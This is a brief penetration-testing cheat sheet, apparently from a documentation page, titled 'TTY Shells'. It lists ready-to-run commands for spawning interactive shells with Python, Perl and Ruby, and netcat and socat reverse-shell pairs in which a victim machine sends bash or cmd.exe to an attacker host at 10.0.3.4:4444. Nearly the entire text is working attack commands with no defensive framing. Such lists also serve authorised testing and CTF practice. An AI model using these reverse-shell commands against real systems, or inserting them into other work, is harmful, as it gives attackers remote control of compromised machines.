TTY Shells
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
Victim: nc -e /bin/bash 10.0.3.4 4444
Attacker: nc -lvp 4444
Victim: nc -e cmd.exe 10.0.3.4 4444
Attacker: nc -lvp 4444
Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Attacker: socat file:tty,raw,echo=0 tcp-listen:4444
Last updated
Was this helpful?